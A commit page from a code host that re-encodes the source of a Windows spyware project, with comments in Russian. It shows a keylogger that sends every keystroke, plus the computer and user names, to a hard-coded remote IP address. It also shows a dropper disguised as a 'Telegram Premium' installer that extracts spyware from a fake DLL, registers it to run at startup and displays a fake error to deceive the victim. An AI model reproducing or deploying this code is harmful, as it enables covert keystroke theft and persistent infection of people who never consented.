Change character encoding to UTF-8

master
dubininvyu 2 years ago
parent 4183f80971
commit 66c9b81e04

@ -14,28 +14,28 @@
#include "main.h" #include "main.h"
std::map<unsigned char, std::string> BUTTON_CODES = { std::map<unsigned char, std::string> BUTTON_CODES = {
// {0x01, "LMB"}, // левая кнопка мыши // {0x01, "LMB"}, // левая кнопка мыши
// {0x02, "RMB"}, // правая кнопка мыши // {0x02, "RMB"}, // правая кнопка мыши
// {0x03, "CTRL+Break"}, // комбинация CTRL + Break // {0x03, "CTRL+Break"}, // комбинация CTRL + Break
// {0x04, "MMB"}, // средняя кнопка мыши // {0x04, "MMB"}, // средняя кнопка мыши
{0x08, "BackSpace"}, // кнопка возврата на одну позицию {0x08, "BackSpace"}, // кнопка возврата на одну позицию
{0x09, "TAB"}, {0x09, "TAB"},
{0x0D, "Enter"}, {0x0D, "Enter"},
{0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift {0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift
{0x11, "CTRL"}, {0x11, "CTRL"},
{0x12, "ALT"}, {0x12, "ALT"},
// {0x13, "PAUSE"}, // {0x13, "PAUSE"},
{0x14, "Caps Lock"}, {0x14, "Caps Lock"},
{0x1B, "ESC"}, {0x1B, "ESC"},
{0x20, "Space"}, // пробел {0x20, "Space"}, // пробел
{0x21, "Page Up"}, {0x21, "Page Up"},
{0x22, "Page Down"}, {0x22, "Page Down"},
{0x23, "END"}, {0x23, "END"},
{0x24, "HOME"}, {0x24, "HOME"},
{0x25, "Left arrow"}, // стрелка влево {0x25, "Left arrow"}, // стрелка влево
{0x26, "Up arrow"}, // стрелка вверх {0x26, "Up arrow"}, // стрелка вверх
{0x27, "Right arrow"}, // стрелка вправо {0x27, "Right arrow"}, // стрелка вправо
{0x28, "Down arrow"}, // стрелка вниз {0x28, "Down arrow"}, // стрелка вниз
// {0x2C, "Print Screen"}, // {0x2C, "Print Screen"},
{0x2D, "Insert"}, {0x2D, "Insert"},
{0x2E, "Delete"}, {0x2E, "Delete"},
@ -124,19 +124,19 @@ std::map<unsigned char, std::string> BUTTON_CODES = {
struct TCPIPPacket { struct TCPIPPacket {
uint8_t typeID; // идентификатор типа пакета uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета uint32_t crc32; // контрольная сумма пакета
uint32_t pcNameSize; // количество байтов в имени компьютера uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера std::string pcName; // имя компьютера
uint32_t userNameSize; // количество байтов в имени пользователя uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя std::string userName; // имя пользователя
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши std::string keyName; // имя нажатой клавиши
TCPIPPacket() : TCPIPPacket() :
typeID(0xAA), size(0), time(0), crc32(0), typeID(0xAA), size(0), time(0), crc32(0),
@ -147,12 +147,12 @@ struct TCPIPPacket {
} }
}; };
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор
uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш
int WINAPI wWinMain( int WINAPI wWinMain(
_In_ HINSTANCE hInstance, _In_ HINSTANCE hInstance,
@ -161,7 +161,7 @@ int WINAPI wWinMain(
_In_ int nShowCmd _In_ int nShowCmd
) { ) {
TCPIPPacket packet; // пакет для отправки TCPIPPacket packet; // пакет для отправки
TCHAR pcName[SHRT_MAX]; TCHAR pcName[SHRT_MAX];
DWORD pcNameSize = SHRT_MAX; DWORD pcNameSize = SHRT_MAX;
@ -169,34 +169,34 @@ int WINAPI wWinMain(
TCHAR userName[SHRT_MAX]; TCHAR userName[SHRT_MAX];
DWORD userNameSize = SHRT_MAX; DWORD userNameSize = SHRT_MAX;
/* получаем имя компьютера */ /* получаем имя компьютера */
while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле
packet.pcName = pcName; // сохраним имя компьютера в пакете packet.pcName = pcName; // сохраним имя компьютера в пакете
packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера
/* получаем имя пользователя */ /* получаем имя пользователя */
while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле
packet.userName = userName; // сохраним имя пользователя в пакете packet.userName = userName; // сохраним имя пользователя в пакете
packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя
/* подключаемся к серверу */ /* подключаемся к серверу */
WSADATA wsaData; WSADATA wsaData;
const auto dllVersion = MAKEWORD(2, 1); const auto dllVersion = MAKEWORD(2, 1);
while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно
SOCKADDR_IN socketAddress; SOCKADDR_IN socketAddress;
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер
socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу
socketAddress.sin_family = AF_INET; socketAddress.sin_family = AF_INET;
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу
/* Отслеживаем нажатие клавиш */ /* Отслеживаем нажатие клавиш */
while (true) { while (true) {
processKeyboard(connection, packet); processKeyboard(connection, packet);
@ -208,41 +208,41 @@ int WINAPI wWinMain(
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) { void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) {
for (const auto& mRow : BUTTON_CODES) { for (const auto& mRow : BUTTON_CODES) {
const auto keyID = mRow.first; // получаем идентификатор клавиши const auto keyID = mRow.first; // получаем идентификатор клавиши
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата
continue; // ищем дальше continue; // ищем дальше
} }
rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время
rPacket.keyName = mRow.second; // запишем имя клавиши rPacket.keyName = mRow.second; // запишем имя клавиши
rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета
return (0 return (0
+ sizeof(rPacket.typeID) // поле для хранения идентификатора пакета + sizeof(rPacket.typeID) // поле для хранения идентификатора пакета
+ sizeof(rPacket.size) // поле под хранение длины пакета + sizeof(rPacket.size) // поле под хранение длины пакета
+ sizeof(rPacket.time) // поле под хранение временной метки + sizeof(rPacket.time) // поле под хранение временной метки
+ sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета + sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета
+ rPacket.pcName.length() // добавляем длину имени компьютера + rPacket.pcName.length() // добавляем длину имени компьютера
+ sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера + sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера
+ rPacket.userName.length() // добавляем длину имени пользователя + rPacket.userName.length() // добавляем длину имени пользователя
+ sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя + sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя
+ rPacket.keyName.length() // добавляем длину имени нажатой клавиши + rPacket.keyName.length() // добавляем длину имени нажатой клавиши
+ sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши + sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши
); );
}(rPacket); }(rPacket);
bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов
rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета
sendPacket(socket, vBytes); // отправляем пакет sendPacket(socket, vBytes); // отправляем пакет
Sleep(100); // 10 мс отдыхаем Sleep(100); // 10 мс отдыхаем
} }
Sleep(10); // 10 мс отдыхаем Sleep(10); // 10 мс отдыхаем
} }
uint32_t calculateCrc32(bytes_vector& vBytes) { uint32_t calculateCrc32(bytes_vector& vBytes) {
@ -267,13 +267,13 @@ void sendPacket(SOCKET& socket, bytes_vector& vBytes) {
char* message = new char[size + 1]; char* message = new char[size + 1];
uint32_t i = 0; uint32_t i = 0;
for (const auto byte : vBytes) { // копируем байты из вектора в массив for (const auto byte : vBytes) { // копируем байты из вектора в массив
message[i++] = byte; message[i++] = byte;
} }
send(socket, message, size, NULL); // отправляем сообщение по TCP/IP send(socket, message, size, NULL); // отправляем сообщение по TCP/IP
delete[] message; // удаляем массив delete[] message; // удаляем массив
} }
template <> template <>
@ -285,16 +285,16 @@ void pushValue(bytes_vector& vBytes, const std::string& value) {
bytes_vector packetToBytes(const TCPIPPacket& rPacket) { bytes_vector packetToBytes(const TCPIPPacket& rPacket) {
bytes_vector vBytes; bytes_vector vBytes;
pushValue(vBytes, rPacket.typeID); // тип пакета pushValue(vBytes, rPacket.typeID); // тип пакета
pushValue(vBytes, rPacket.size); // размер пакета pushValue(vBytes, rPacket.size); // размер пакета
pushValue(vBytes, rPacket.time); // временная метка pushValue(vBytes, rPacket.time); // временная метка
pushValue(vBytes, rPacket.crc32); // контрольная сумма pushValue(vBytes, rPacket.crc32); // контрольная сумма
pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера
pushValue(vBytes, rPacket.pcName); // имя компьютера pushValue(vBytes, rPacket.pcName); // имя компьютера
pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя
pushValue(vBytes, rPacket.userName); // имя пользователя pushValue(vBytes, rPacket.userName); // имя пользователя
pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши
pushValue(vBytes, rPacket.keyName); // имя клавиши pushValue(vBytes, rPacket.keyName); // имя клавиши
return vBytes; return vBytes;
} }

@ -13,60 +13,60 @@ int WINAPI wWinMain(
const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe"; const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe";
/* /*
В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll. В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll.
На самом деле этот файл содержит байты клиентской части шпионского ПО. На самом деле этот файл содержит байты клиентской части шпионского ПО.
Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe
А потом добавить файл C:\Windows\wingui.exe в автозагрузку А потом добавить файл C:\Windows\wingui.exe в автозагрузку
*/ */
std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary); std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary);
if (!srcFile.is_open()) { // если файл куда-то пропал if (!srcFile.is_open()) { // если файл куда-то пропал
const auto TITLE = "Ошибка инициализации"; const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll."; const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой return 1; // завершаем с ошибкой
} }
/* читаем .dll файл */ /* читаем .dll файл */
std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы std::vector<char> spywareBytes; // в вектор будем помещать байты шпионской программы
while (!srcFile.eof()) { // пока есть, что читать, будем читать while (!srcFile.eof()) { // пока есть, что читать, будем читать
char byte; char byte;
srcFile.read(&byte, sizeof byte); // считываем байт srcFile.read(&byte, sizeof byte); // считываем байт
spywareBytes.push_back(byte); // добавляем байт в вектор spywareBytes.push_back(byte); // добавляем байт в вектор
} }
srcFile.close(); // закрываем файл srcFile.close(); // закрываем файл
/* за диске C: создаем .exe файл */ /* за диске C: создаем .exe файл */
std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc); std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc);
if (!dstFile.is_open()) { if (!dstFile.is_open()) {
const auto TITLE = "Ошибка установки"; const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001."; const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой return 1; // завершаем с ошибкой
} }
for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe
dstFile << byte; dstFile << byte;
} }
dstFile.close(); // закрываем файл dstFile.close(); // закрываем файл
/* Добавляем wingui.exe в автозагрузку */ /* Добавляем wingui.exe в автозагрузку */
HKEY hKey; HKEY hKey;
char szPath[MAX_PATH]; char szPath[MAX_PATH];
const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH); const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH);
if (!(size > 0 && size < MAX_PATH)) { if (!(size > 0 && size < MAX_PATH)) {
const auto TITLE = "Ошибка установки"; const auto TITLE = "Ошибка установки";
const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002."; const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке
return 1; // завершаем с ошибкой return 1; // завершаем с ошибкой
} }
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL, NULL,
0, 0,
@ -77,18 +77,18 @@ int WINAPI wWinMain(
NULL NULL
); );
if (hKey) { // если ключ успешно создался, записываем значение if (hKey) { // если ключ успешно создался, записываем значение
RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH)); RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH));
RegCloseKey(hKey); RegCloseKey(hKey);
} }
/* /*
Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой
Пусть он думает, что эта программа не работает, и спокойно ее удаляет Пусть он думает, что эта программа не работает, и спокойно ее удаляет
*/ */
const auto TITLE = "Ошибка инициализации"; const auto TITLE = "Ошибка инициализации";
const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре."; const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре.";
MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR);
return 0; return 0;

@ -1,6 +1,6 @@
//{{NO_DEPENDENCIES}} //{{NO_DEPENDENCIES}}
// Включаемый файл, созданный в Microsoft Visual C++. // Включаемый файл, созданный в Microsoft Visual C++.
// Используется Fake.rc // Используется Fake.rc
// //
#define IDI_ICON1 101 #define IDI_ICON1 101

Loading…
Cancel
Save